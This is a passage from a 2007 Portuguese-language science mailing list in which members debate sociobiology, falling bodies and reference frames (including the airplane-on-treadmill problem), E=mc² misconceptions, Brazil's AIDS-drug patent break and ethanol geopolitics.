procurar a melhor adaptação naquele determinado momento. Mesmo
retirando-se a linguagem finalista, não há direcionamento para a
otimização das adaptações - a melhora é apenas relativa à situação
anterior, não *a* melhor adaptação possível.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ João - Re: Questões sociobiológicas
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 23:34

Caro, Homero, veja o que escreveu...

[ E temos de levar em conta a estatística, não o relato pessoal ou
anedótico. Um "poderoso" que mata os filhos, para manter o poder, é
irrelevante, se esse comportamento não for a norma, mas uma anomalia.
Se a maioria não age assim, é isso que será efetivo como pressão
evolutiva para a espécie (qualquer espécie, não apenas a nossa). ]

Seus comentários são de uma obviedade curiosa. Claro que *se* a maioria não
age assim pouco afetaria em menor descendência. Mas é visto que a luta entre
os mais fortes do grupo e os demais ocorre por diversas vezes - muitas vezes
com a morte do perdedor - até que o que era mais forte fique velho e perca a
luta ou se retire da disputa sabiamente.

[]s

JR
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 01, 2007 12:04 AM
Subject: [ciencialist] P/ João - Re: Questões sociobiológicas


Olá João

João: "Devemos lembrar que estamos falando do ambiente ancestral de
> caçadores e coletores nômades. Os ricos e poderosos desses últimos
> séculos, ou milênios, são anomalias."

Excelente, João, e esse é um ponto muito importante, mas quase sempre
esquecido, no debate sobre comportamentos evolutivos: esses
comportamentos devem ser analisados a partir do ambiente onde
evoluiriam, e durante a maior parte de nossa formação como espécie, e
não no ambiente atual, modificado até o limite pela cultura e
civilização moderna (e pelo conhecimento moderno).

Durante os dois milhões de anos (ou mais, se contarmos antepassados
recentes), e não durante os 20 mil últimos, vivemos em condições em
que maior número de descendentes era o fator fundamental para um gene
ou comportamento se tornar comum no pool genético, ou desaparecer.

E temos de levar em conta a estatística, não o relato pessoal ou
anedótico. Um "poderoso" que mata os filhos, para manter o poder, é
irrelevante, se esse comportamento não for a norma, mas uma anomalia.

Se a maioria não age assim, é isso que será efetivo como pressão
evolutiva para a espécie (qualquer espécie, não apenas a nossa).

E como notou, familias abastadas tem poucos filhos apenas muito
recentemente, coisa de 30 anos, a partir da pílula anticoncepcional.
No passado, não havia como ter "poucos filhos", uma vez que, fazendo
sexo, se faziam filhos. E, como familias abastadas tinham muitos
filhos, e familias não abastadas tinham muitos filhos, o que fazia
diferença era quantos desses filhos sobreviviam.

Mais protegidos, mais bem alimentados, com mais condições, os filhos
de familias abastadas, em sua maioria, viviam mais e tinham mais
descendentes que os de familia não abastada.

O problema, não apenas com o Jose Renato, é tentar ver em relatos
anedóticos (não estatísticos), evidencias para conclusões científicas.

Um abraço.

Homero




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SUBJECT: Re: [ciencialist] Caiu na prova
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 23:48

Olá, Victor! Sua explicação aos sobrinhos vem bem a calhar para o
entendimento do problema sobre o avião, veja:

[ Uma das coisas que questionou foi sobre a queda, em si. E quer dizer que
em queda livre você está flutuando, nada acontecerá? Pois não é isso que
vejo quando alguém cai. Quebrei meu braço ano passado numa queda. Expliquei
que a ausência de forças corre apenas dentro do elevador, do ponto de vista
do referencial ligado a ele. (Não foi explicado a ele que isto acontece
devido a forças de inércia(impropriamente chamadas de fictícias-ou não?) que
surgem única e exclusivamente em sistemas acelerados, e devidas única e
exclusivamente às acelerações, para garantir que a segunda lei de Newton
seja válida dentro deles)). Uma mão lava a outra. #Mas, se ele olhar para
baixo, verá a terra acelerada em direção a ele, com aceleração g, como se
estivesse sendo impulsionada por motores altamente potentes.# (Que o melhor
seria ele sair da frente e deixar que ela passe, senão...). Quer dizer, do
ponto de vista de efeitos globais, *nada muda*, #quer o referencial usado
seja o fixo ao elevador, ou o fixo em relação à terra.# Cada um destes "vê"
o outro acelerado(Vale sempre o princípio da relatividade de todos os
movimentos). E é onde mora o perigo. Quando se chocam, adeus. Bem, isto ele
entendeu.

Parabéns, a vc e ao seu sobrinho que conseguiu entender *interação de
movimentos*.

[]s

JR
.................................................................
----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 01, 2007 8:00 PM
Subject: Re: [ciencialist] Caiu na prova


Caro Prof.JC,

Quando lí esta questão, pensei o único que podia pensar: nada de trivial,a
não só para quem é
maiorzinho de 8 anos... Mas não me animei em dar uma resposta. Hoje, pude
acessar novamente minha caixa
e ví que os listeiros também não. Então, resolví falar um pouco. Mas fiz um
teste. Meus sobrinhos estavam aquí
e peguei o do primeiro ano do segundo grau, que ainda não chegou nessas
paragens. Primeiro, me disse que nada
sabia a respeito. Fiz-lhe a pergunta clássica, e ele respondeu como
Aristóteles faria: é claro que a pedra pesada
chega ao solo primeiro que a outra, a mais leve! No exemplo seguinte,
substituí a pedra mais leve por um pedaço
de papel. A resposta foi mais enfática ainda. Depois que ele me disse que o
ar poderia influenciar nos movimentos,
indaguei: e se o ar fosse eliminado, como seriam as coisas agora? A resposta
foi a mesma!. Acrescentando que
os corpos "desceriam" mais livremente!...
Então, depois de dizer-lhe que não era assim, passei aos seguintes
argumentos:

1) Aquele que foi usado brilhantemente por Galileu, ao questionar as idéias
de Aristóteles: se uma pedra pesada, A, estiver ligada a uma pedra mais
leve, B, por um fio muito delgado, e se o conjunto for solto do alto de um
edifício, ao mesmo tempo, o fio que interliga os dois retarda ou aumenta a
velocidade com que o corpo cai? Se a proposição de Aristóteles está
correta, acontecerá o seguinte:
a pedra A será retardada pela pedra B, que "anda" mais devagar. Mas,
considerando o sistema pedra A+pedra B + fio muito delgado, teremos um corpo
que é mais pesado que a pedra A sozinha. Assim, esse conjunto deverá cair
mais rapidamente que a pedra A, segundo o mesmo Aristóteles. Assim, teremos
uma situação esquesita: um corpo que retarda e adianta, ao mesmo tempo!
Evidentemente, segundo Galileo e qualquer cara de juízo na cabeça, é de se
concluir que isto não pode acontecer, que Aristóteles estava equivocado.
Portanto, o jeito de eliminar este paradoxo(este, sim, um verdadeiro
paradoxo) é admitir que tanto a pédra pesada A quanto a pedra menos pesada
B caem do mesmo jeito, se considerado, claro, que o experimento é feito no
vácuo; nessas condições, se largados no mesmo instante, chegarão ao solo no
mesmo instante.
-Me disse, o sobrinho menos sabido, que o raciocícnio parecia lógico, mas
ainda ficou um tempão olhando para teto, buscando entender melhor ou
descobrir uma falha no raciocínio. Mas disse que entendeu; mas percebí que a
convicção não era lá tanta convicção!

Usei, então, outro argumento:

2) Como ele anda de elevador, e sabe que quando o elevador está descendo
ele tem aquela sensação esquesita, como se o estômago estivessa
subindo(aquele famoso friozinho), e tem a impressão de que pesa menos, usei
um exemplo típico: o elevador está amarrado por uma corda, que limita o seu
movimento acelerado descendente. Se a corda for afrouxada o suficiente, isto
dará ao passageiro a nítida sensação de que seu peso é menor do que se
estivesse parado. Pareceu-me que disto, tem a noção prática, pois não
questionou. O efeito sobre seu estômago é a testemunha, nisso concordou! Se
agora, num dado instante da "queda" controlada, alguém cortar a corda(corda
afrouxada totalmente...), o elevador despencará de vez e a força total sobre
o passageiro será zero, pelo que seu peso aparente irá a zero. Poderá até
ficar com os pés no piso, mas poderá igualmente levantá-los, pois ficará aí,
flutuando, feito alma no céu. Tudo que está à sua volta sofrerá os mesmos
efeitos, cairá do mesmo jeito para um observador inercial fora do elevador e
estará em repouso relativo uns em relação aos outros, dentro do elevador. A
pedra A e a pedra B, dentro do elevador,estariam paradas uma em relação à
outra ou a qualquer coisa dentro do elevador. Mas um observador de fora,
veria isto: a pedra A caindo ao lado da pedra B, enquanto o elevador, pedras
e passageiros rumam para o desfecho final: bum!, ao colidir com o
solo.(Pois, o sistema todo estará acelerado, ainda que os passageiros não
saibam disso, em condições adequadas).

E, finalmente, um último cartucho:

3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer.
Antes de cortar a corta do elevador, todo mundo estava em repouso relativo,
dentro do elevador(em relação a um referencial ligado ao elevador). Quando a
corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do
elevador; então, para o referencial do elevador, pela Primeira Lei de
Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de
fora, verá todos caminharem para a destruição do mesmo jeito, bem
comportadinhos, a mesma aceleração.

Bem, mesmo assim, fiquei com a impressão de que ele precisará amadurecer
mais, para absorver com mais propriedade as "trivialidades" acima.
Talvez seja mais conveniente eu admitir que não fui competente na
explicação e que fico devendo essa a ele. Mas voltarei a conversar, quando
ele emadurecer mais o papo acima. Garantiu que irira pensar mais. Mas
acabaou achando o assunto bem interessante e estimulante.

Uma das coisas que questionou foi sobre a queda, em si. E quer dizer que em
queda livre você está flutuando, nada acontecerá? Pois não é isso que vejo
quando alguém cai. Quebrei meu braço ano passado numa queda. Expliquei que a
ausência de forças corre apenas
dentro do elevador, do ponto de vista do referencial ligado a ele. (Não foi
explicado a ele que isto acontece devido a forças de inércia(impropriamente
chamadas de fictíciais-ou não?) que surgem única e exclusivamente em
sistemas acelerados, e devidas única e exclusivamente às acelerações, para
grantir que a segunda lei de Newton seja válida dentro deles)). Uma mão lava
a outra. Mas, se ele olhar para baixo, verá a terra acelerada em direção a
ele, com aceleração g, como se estivesse sendo impulsionada por motores
altamente potentes. (Que o melhor seria ele sair da frente e deixar que ela
passe, senão...). Quer dizer, do ponto de vista de efeitos globais, nada
muda, quer o referencial usado seja o o fixo ao elevador, ou o fixo em
relação à terra. Cada um um destes "vê" o outro acelerado(Vale sempre o
princípio da relatividade de todos os movimentos). E é onde mora o perigo.
Quando se chocam, adeus.
Bem, isto ele entendeu. Acho que vai se dedicar à mecânica, como disse. Ele
tem 15 anos. É aluno dedicado e estuda num bom colégio. Eu não saberia dizer
se um garoto de 8 anos teria alguma noção do que quis dizer acima, mesmo
melhorando os dizeres, exemplos, etc. Mas irei tentar. Estou curioso para
saber que explicação você, ou alguém mais, daria a ele( o de 8) tal que ele
compreeendesse.

Bem, caro Professor, esta minha tentativa de ser claro a respeito de algo
que não é trivial, embora pareça. Este assunto, por si só,
daria umas trocentas mensagens.

Dos 3 argumentos, o de que mais gostou, foi exatamente o primeiro!

Espero que quando o amigo JR deixar o coitado do avião voar possamos tratar
de assuntos assim.

Sds,
Victor.




----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 29, 2007 9:28 PM
Subject: [ciencialist] Caiu na prova


Questãozinha que caiu na minha prova de Física para os aluninhos do
primeiro colegial:

Suponha que uma criança de oito anos lhe pergunte "quem cai mais
rápido: uma pedra pesada ou uma pedra mais leve?". O que você
responderia para ela e como a convenceria de sua reposta?

Abraços,
JC





[As partes desta mensagem que não continham texto foram removidas]



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14:11



SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 23:55

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Os gorilas não tem esse gene?

Como lembrou Homero/Oraculo, não. Os gorilas vivem em simbiose com
bactérias q digerem a celulose.

> Ele pode ser uma característica ancestral, que, por alguma razão,
> perdemos. Deve haver algum motivo para isso.

Repare novamente: vc parte de uma *suposição* "pode ser uma
característica ancestral" para uma *asserção* "deve haver algum motivo
para isso". Mesmo q de fato fosse a condição ancestral - e tto qto
sabemos não é, os primatas são em geral onívoros - nem assim teríamos
garantia de haver motivos para a divergência (sim, haverá causas e
efeitos, mas não a necessidade de uma espécie de pressão ambiental q
direcione o processo).

> Mas acho que tem que ter um aparato digestivo grande, e é
> trabalhoso.

Não necessariamente. O aparato mamífero tende a ser grande somente
para organismos *exclusivamente* vegetariano. Não estamos falando em
ser vegetariano e sim de ser capaz de digerir a celulose - ainda q
parcialmente.

> Só se eles entrarem no harém de um macho dominante enquanto ele está
> dormindo ou caçando, e acasalar com suas mulheres.

Primeiro, isso ocorre com freqüência não apenas em outros primatas com
estruturação social hierárquica - a fêmea volta e meia dá uma
escapadela -, mas o grau de traição por parte da fêmea humana não é
nem um pouco desprezível. Analisemos do ponto de vista estritamente
biológico (q, claro, não é o único fator - e nem necessariamente o
preponderante): vc admite q não há genes q condicionem por si mm uma
hierarquia, ok. Do ponto de vista da fêmea - usando de linguagem
finalista - é interessante q sua prole seja dotada de bons genes. Bons
genes não estarão ligados necessariamente à hierarquia humana
(sobretudo com a tendência endogâmica da alta corte) - aventureiros de
camadas mais baixas podem se mostrar como excelentes fontes de genes q
confiram resistência a doenças, capacidade de procriação, etc. (O q
fica relativamente próximo do q vc delineou abaixo.)

> Isto porque, se os homens de mais alta hierarquia têm várias
> mulheres, não vão sobrar muitas para os de baixa.

Só se ou houver muitos homens de alta hierarquia ou cada homem de alta
hierarquia conseguir um harém de dezenas a centenas de concubinas.

Note-se ainda q a razão sexual 1 para 1 se refere à razão sexual ao
nascer - não necessariamente está ligado à razão sexual final no
estágio adulto. Em tempos primitivos - e mm hoje - homens estão mais
expostos a mortes violentas (guerras, luta contra predadores,
acidentes, etc). Não se descarta q houvesse sobra de mulheres ao longo
da evolução humana (como de certo modo há no mundo moderno). (Em
verdade há até um certo desvio na razão sexual de modo q nascem mais
meninos do q meninas, o q termina por ter a conseqüência de evitar q
haja um excesso ainda maior de mulheres na fase adulta.)

> Teria que haver um alargamento dos quadris, produção de seios,
> reestruturação da mente (afinal, para o cara que se transforma em
> mulher querer beijar um macho barbudo tem que mexer profundamente em
> seu cérebro), além de muitas outras diferenças comportamentais.

Tudo disparado por um único gene.

> Takata, você está dizendo que, em termos evolutivos, é melhor ter
> uma prole pequena?

Dependendo da biologia do organismo sim. Veja a prole média humana e
compare com a prole média de um cachorro. Em ecologia delineiam-se
dois extremos de um contínuo de distribuição no q se refere à
distribuição de recursos entre quantidade e qualidade: a estratégia r
e a estratégia K.

Os organismos com estratégia r são organismos em geral oportunistas q
colonizam novos ambientes abertos, com abundância temporária de
recursos. Procriam adoidado e possuem tamanho reduzido. A maior parte
da energia é investida na produção de um grande número de
descendentes. Como os recursos são partilhados por vários indivíduos,
nenhum tem muito recurso individualmente - seu crescimento é rápido
mas limitado.

Os organismos de estratégia K são organismos em geral de ambientes
climáxicos, com aporte estável de recursos. Sua taxa de reprodução é
baixa, mas os filhotes em geral são maiores, de crescimento mais
lento. Os adultos são maiores. Como a prole é reduzida, muito recurso
pode ser investido em cada um - cuidado parental, quantidade de
nutrientes no ovo e outros.

Uma comparação q se faz é com o investimento financeiro. Uma pessoa
pode espalhar seus investimentos em diversas aplicações - naturalmente
cada aplicação terá um montante reduzido. Irá perder em umas e ganhar
em outras. A pessoa tb pode investir pesadamente em poucas aplicações
mais seguras, mas terá q gerenciar bem para garantir o retorno.

Além disso, embora os homens possam potencialmente deixar mais
descendentes do q as mulheres, as mulheres são mais criteriosas na
escolha de parceiros - o q diminui a diferença do custo reprodutivo
entre os sexos.

[]s,

Roberto Takata



SUBJECT: Re: Quebra de patente de droga anti-aids
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 23:57

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Além disso, a aprovação da lei não significa q o país irá quebrar
> as patentes - o caminho principal deve ser a da negociação de preços
> com as empresas detentoras.

Opa, eles foram mais rápido do q imaginei:

Lula quebra patente de remédio anti-Aids
http://g1.globo.com/Noticias/Ciencia/0,,MUL31234-5603,00.html

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 00:15

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Ok. Se assumir genericamente que espaço/tempo é
> "medida de crescimento linear" então posso assumir que
> C2 é um crecimento linear também, certo?

Não.

> Takata >>> Superfícies podem se deslocar, mas seu
> deslocamento não se mede como qq outro deslocamento -
> em unidade de comprimento - assim a velocidade de
> deslocamento não seria em termos de unidades de área.
>
> --- Não entendi. Se der pra explicar, agradeço.

Escrevi errado. Era pra ser: "Superfícies podem se deslocar, mas seu
deslocamento se mede como qq outro deslocamento - em unidade de
comprimento - assim a velocidade de deslocamento não seria em termos
de unidades de área.

> Takata >>> Medidas como m2/s poderia representar, por
> exemplo, a taxa de variação do tamanho de uma
> superfície.
>
> --- Poderia representar a taxa de deformação de uma
> superficie? Existe algo assim na fisica?

Não poderia representar a taxa de deformação porq m2 não é unidade de
deformação (só em casos muito específicos). Mas existe sim medidas de
unidade de deformação.

> Takata >>> Aliás, a equação E = m.c2 mostra exatamente
> q existe energia associada à massa.
>
> --- Exatamente! Isto que estou defendendo.

Não. O q vc disse é q E = m.c2 mostra q a energia é matéria em
movimento. A equação NÃO mostra isso.

> Takata >>> Apenas à massa q não precisa estar se
> deslocando, vibrando ou fazendo qq outra coisa q não
> seja ser massa.
>
> --- Isto mesmo! É isto que estou defendendo também.
> Com o adendo de que, esta associação da massa com a
> energia que a anima (pulso), faz com que ela (a
> matéria/massa) esteja sempre num estado vibracional ou
> outro quando medida. A massa em si é só massa, só é,
> ser massa, como vc diz, concordo, mas o universo é
> vivo e assim a massa está sempre pulsando pois ela é a
> substancia do universo que pulsa.

A energia da fórmula NÃO está associada a qq tipo de vibração da massa.

[]s,

Roberto Takata



SUBJECT: Re: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 00:19

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Porém, quando nascemos, o cérebro se vê metido no
> meio de um jogo em que as regras já estão rolando faz
> tempo e ninguém pára pra lhe explicar. Nascemos e o
> cérebro é obrigado a deduzir as regras da
> sobrevivencia por conta própria e jogando.

Mizomenos. Há toda a uma base preestabelecida no cérebro humano desde
antes do nascimento. Um cérebro humano não nasce como uma tábula rasa.

> --- Por exemplo, o cérebro aprende a falar seu
> primeiro idioma sem escola ou professor algum.

Errado. Os pais costumam ensinar ativamente seus filhos.

> --- Enfim, o cérebro, para continuar jogando o jogo da
> existencia humana, faz o contrário do jogador, tem que
> deduzir as regras enquanto está jogando. Aliás, a
> ciencia surge dai, concorda? Vem da necessidade e
> utilidade de entender as regras do jogo pra diblar
> adversários como doenças, furacoes, tempestades, e,
> claro, namoradas, rsrsrsrs...

Mizomenos tb. A ciência moderna (da revolução galileana) parece surgir
mais como curiosidade de mentes iluminadas do q da necessidade prática.

[]s,

Roberto Takata



SUBJECT: Re: O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 00:21

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Mas note q são "pulsos" elétricos e não os
> elétrons em si - q se deslocam...
>
> --- Isto mesmo! É isto! Noto exatamente isto. E é por
> isto que chego a conclusão de que a matéria pulsa.

Dos pulsos elétricos para vibração da matéria vai um longo salto.

> É por isto também que lhe disse anteriormente que sou
> contra a idéia de deslocamento, os eletrons (em si)
> não estão se deslocando, estão pulsando, não é mesmo?
> Creio que agora concordamos?

Não, os elétrons não estão pulsando. E eles podem se deslocar. Apenas
q não é o deslocamento dos elétrons de uma extremidade a outra do fio
q está conduzindo os sinais elétricos.

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 03:09

Tá vendo só, estressou! :)

Se tivesse ido ler o Pato Donald não teria se estressado. :)))

A propósto, o Léo falou sério sobre o Manual dos Escoteiros.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá JC!
>
> --- Eis ai o giló que conheço!
>
> JC >>> Não têm tempo para aprendizagens longas e
> paciência para ouvir respostas divergentes de suas
> concepções pré-estabelecidas.
>
> --- Concepções em estabelecimento, é diferente. O
> professor (estabelecido) é vc e não eu.
>
> JC >>> São casos crônicos de má formação científica
> que representam a maioria da população.
>
> --- Discordo. E falando por mim, sou apenas um mau
> aluno, daqueles que não acreditam nos professores. E
> que mal há nisto? Por acaso, o método cientifico é o
> método da crença nos professores?
>
> JC >>> Só são destacados aqui porque são bem
> articulados linguisticamente e porque damos suporte a
> eles. Recomendo que leiam Pato Donald.
>
> --- JC, vc está usando o mesmo metodo de argumentação
> do Luiz. Humilhar pra ficar por cima. Vc não precisa
> disto. E ninguém merece. E por fim, porque não usa a
> thread pra falar sobre o assunto ao inves dos
> costumeiros sermões. Até quando vai ignorar que sermão
> não é método cientifico e não funciona na
> aprendizagem.
>
>
> sinceramente
> ferrari
>
>
>
> - - - - - - - - - - - - - - -
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SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 03:19

José Renato,

Primeiro permita-me uma gargalhada: ha ha ha. Pronto!

Você nem imagina como suas mensagens têm me proporcionado momentos de
alegria e descontração.

Bom, agora vamos ao que interessa: eu não tenho nada para responder
nessa mensagem que você me enviou, pois continuo aguardando que você
me diga qual é o referencial que vai escolher para estudar o problema
e nessa mensagem parece que você se esqueceu que tinha que me dar essa
resposta. Eu já lhe provei que o referencial só pode ser o chão, pois
em qualquer outro caso o enunciado estará errado, e você já garantiu
que o enunciado está certo e que é sobre esse enunciado que
estudaremos o problema.

No entanto, me parece que mesmo só podendo escolher o chão como
referencial, você insiste em não afirmar isso e está apenas
prolongando mensagens; talvez esteja esperando que eu me canse, mas eu
não me canso nem com adolescentes, porque me cansaria com você? ;)

Então, de uma vez por todas: qual é o seu referencial? O chão ou o
chão? :)

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos!
> Vc estava indo bem, de repente bloqueou de novo!
> Areje seus neurônios e deixe de lado essa sua certeza de que eu não
tive um
> bom curso de física. Ela só atrapalha seu raciocínio... Afinal, por
que vc
> iria perder tempo com alguém que não sabe considerar referenciais,
não é? Em
> cima dessa constatação qualquer coisa que eu lhe disser vc não vai
> considerar como algo válido e verdadeiro. É a sua chance de renovar as
> idéias, falta pouco!
> Faço comentários no corpo do e-mail, após JR -.
> ...............................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, May 01, 2007 2:57 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato, seguem comentários.
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos! Enfocando a questão dos referenciais...
> >
> > A resposta sobre referenciais está no texto anterior, veja:
> > [ A esteira se move para um lado e o avião para o outro, tanto em
> > relação ao chão quanto *entre eles* mesmos. ]
> >
> > Utilizando como referencial *um ponto sobre a esteira*, esse ponto
> > pode se mover sim, tanto em relação ao chão, ao avião e em relação
> > a ela mesma, à sua estrutura.
>
>
> É, parece que você está com problemas para definir seu referencial.
> Agora parece que você também tem problemas para definir a sua
esteira. :)
>
> Se você chama de esteira a uma superfície sobre a qual está o avião,
> então a "estrutura" da sua esteira seria na verdade o mecanismo que a
> move e não a própria esteira. Se esse mecanismo é fixo no solo então o
> referencial "na estrutura da esteira" é, na verdade, o referencial do
> chão.
> De qualquer forma parece que você vai ter que assumir que o
> referencial sempre foi o chão, não é mesmo? ;)
> JR - Não é não, JC! Podemos considerar a esteira solta no espaço e
teremos a
> relação entre os movimentos - de rolagem da esteira e o do avião -
do mesmo
> jeito. Veja que a terra-chão estão em movimentos no espaço, mas por
que vc
> acha que não o consideramos? O ar também...
>
>
> Acho que você não tem mais "saídas" José Renato, seu referencial é o
> mesmo que todos disseram que era: o chão! :)))
> JR - O chão também é um referencial para a análise da relação entre
o avião
> e o ar.
>
> Já provamos que nesse referencial (chão) o avião se move no caso
> descrito no problema e você nãoe stá conseguindo (e nem vai conseguir)
> escolher outro referencial válido para o enunciado do problema...
> Então talvez seja hora de admitir que teve uma idéia brilhante, mas
> que ela não funciona.
> JR - Vc é quem sabe, JC! Se preferir achar que é isso, em vez de
pensar um
> pouco mais e ultrapassar as sutis dificuldades mentais que ainda
persistem,
> paramos por aqui.
>
>
> > Veja explicação importante, que consta no e-mail anterior:
> > [ O referencial *principal* é a interação entre os movimentos da
> > esteira e do avião.
>
>
> José Renato, "interação entre movimentos" não é referencial e só pode
> ser analisada "escolhendo-se antes um referencial". Seu curso de
> física básica foi bem ruinzinho mesmo, ou você matou muitas aulas para
> paquerar as menininhas. ;)
> JR - Se vc tivesse feito a prática que indiquei, usando um carrinho de
> supermercado e uma esteira rolante, vc iria ver a interação de
movimentos
> ocorrerem bem na sua frente. Veria vc-turbina empurrando o carrinho
para um
> lado sobre o piso da esteira *na na mesma velocidade da esteira* e
veria o
> piso da esteira se deslocando para o lado contrário. Veria também
que assim
> vc estaria praticamente parado em relação ao chão-terra-ar.
>
>
> > O chão é um referencial secundário, que só será utilizado para
> > analisar o deslocamento do avião - que corre sobre a esteira na mesma
> > velocidade em sentido contrário - em relação ao chão e ao ar, para
> > concluir que não há condições de sustentação para alçar vôo. ]
>
>
> Não existem referenciais "primários" e "secundários". Existem apenas
> referenciais. Podem ser inerciais ou não-inerciais, mas não podem ser
> classificados em primários ou secundários porque não se pode saltar de
> um referencial a outro sem reconsiderar todos os movimentos
> envolvidos. Esse processo de "saltar de um referencial a outro"
> chama-se "mudança de referencial" e envolve geralmente mudança no
> sistema de coordenadas (cartesianas, cilíndricas, polares, esféricas,
> etc.).
> JR - Não estou saltando de um referencial para outro, JC. Estou apenas
> usando os referenciais existentes que atendem as premissas do
problema...
>
> Você entrou numa enrascada. Você é um aluno teimoso, mas eu sou acho
> que sou um professor bem mais teimoso do que você. :)))
> JR - Esqueça isso, professor! Não estamos medindo índice de
teimosia. Volte
> a ver a questão com empenho e interesse. É fundamental. Não se preocupe
> comigo, olhe só o problema, OK?
>
> Abraços,
> JC
>
> Abraços
> José Renato
>
> .......................................................
> >
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 30, 2007 12:04 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Olá José Renato,
> >
> > Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
> > Os comentários seguem logo abaixo dos seus.
>
> ( apaguei o restante )
>




SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 06:30

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> A propósto, o Léo falou sério sobre o Manual dos Escoteiros.

O MEM é um dos cinco livros sagrados, juntamente com o Kama Sutra,
Guinness Book of the Cabulosus Records, Paginarum Fulvarum e O
Alquimista de Paulo Coelho.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Quebra de patente de droga anti-aids
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 11:01

Não entendi a relação entre a quebra de patente e a compra do remédio
feito pelo laboratório indiano... traduzindo do juridiquês, o que isso
significa? Ele quebrou por comprar do laboratorio indiano?

Gil
Em 04/05/07, rmtakata<roberto.takata@bol.com.br> escreveu:
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> > Além disso, a aprovação da lei não significa q o país irá quebrar
> > as patentes - o caminho principal deve ser a da negociação de preços
> > com as empresas detentoras.
>
> Opa, eles foram mais rápido do q imaginei:
>
> Lula quebra patente de remédio anti-Aids
> http://g1.globo.com/Noticias/Ciencia/0,,MUL31234-5603,00.html
>
> []s,
>
> Roberto Takata
>
>
>
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> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


SUBJECT: Re: [ciencialist] Pergunta de Geopolítica
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 11:17

Mestre Takata:

Atualmente qualquer grande empreendimento no mundo depende do aporte de capitais de bancos internacionais e que não têm pátria: simplesmente jogam dos projetos mais rentáveis conforme seus analistas.

A américa latina sempre é um risco pela instabilidade dos governos e as leis que mudam ao sabor do vento. A China, hoje, produz 350 milhões de toneladas de aço e o Brasil, terra do minério, 35 milhões. - dez vezes menos.

Grande parte dos ativos dos ´´arabes estão investidos nos EUA principalmente em ações mas tambem em empreendimentos imobiliários.
Assim, o problema do etanol será fruto de uma negociação que é feita nos bastidores: veja que a Bolívia é dependente do Brasil e a pressão da Venezuela é brutal mas corre sério risco pelo motivo acima: instabilidade política.
A Petrobrás, em média gasta 1,2 reais para cada litro de gasolina: o resto são impostos e lucros. A Venezuela, 0,65 centavos. Assim, vamos ver quanto custará o etanol sando que não é perene: a cultura aguenta no máximo 4 a 5 cortes depois a terra tem de ser revolvida, tratada, plantada com outra cultura de leguminácea como a soja para regenerar-se. Assim, perceba os problemas logísticos, inclusive de fertilizantes e transporte: caminhões são enviáreis pois não existem estradas: Deduz-se que o problema não é um mar-de-rosas: depende de muito entendimento e logística perfeita além das condições climáticas: as variedades plantadas serão de diversas cepas, conforme a Embrapa.

bom dia,3

silvio.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 02, 2007 5:04 PM
Subject: [ciencialist] Pergunta de Geopolítica


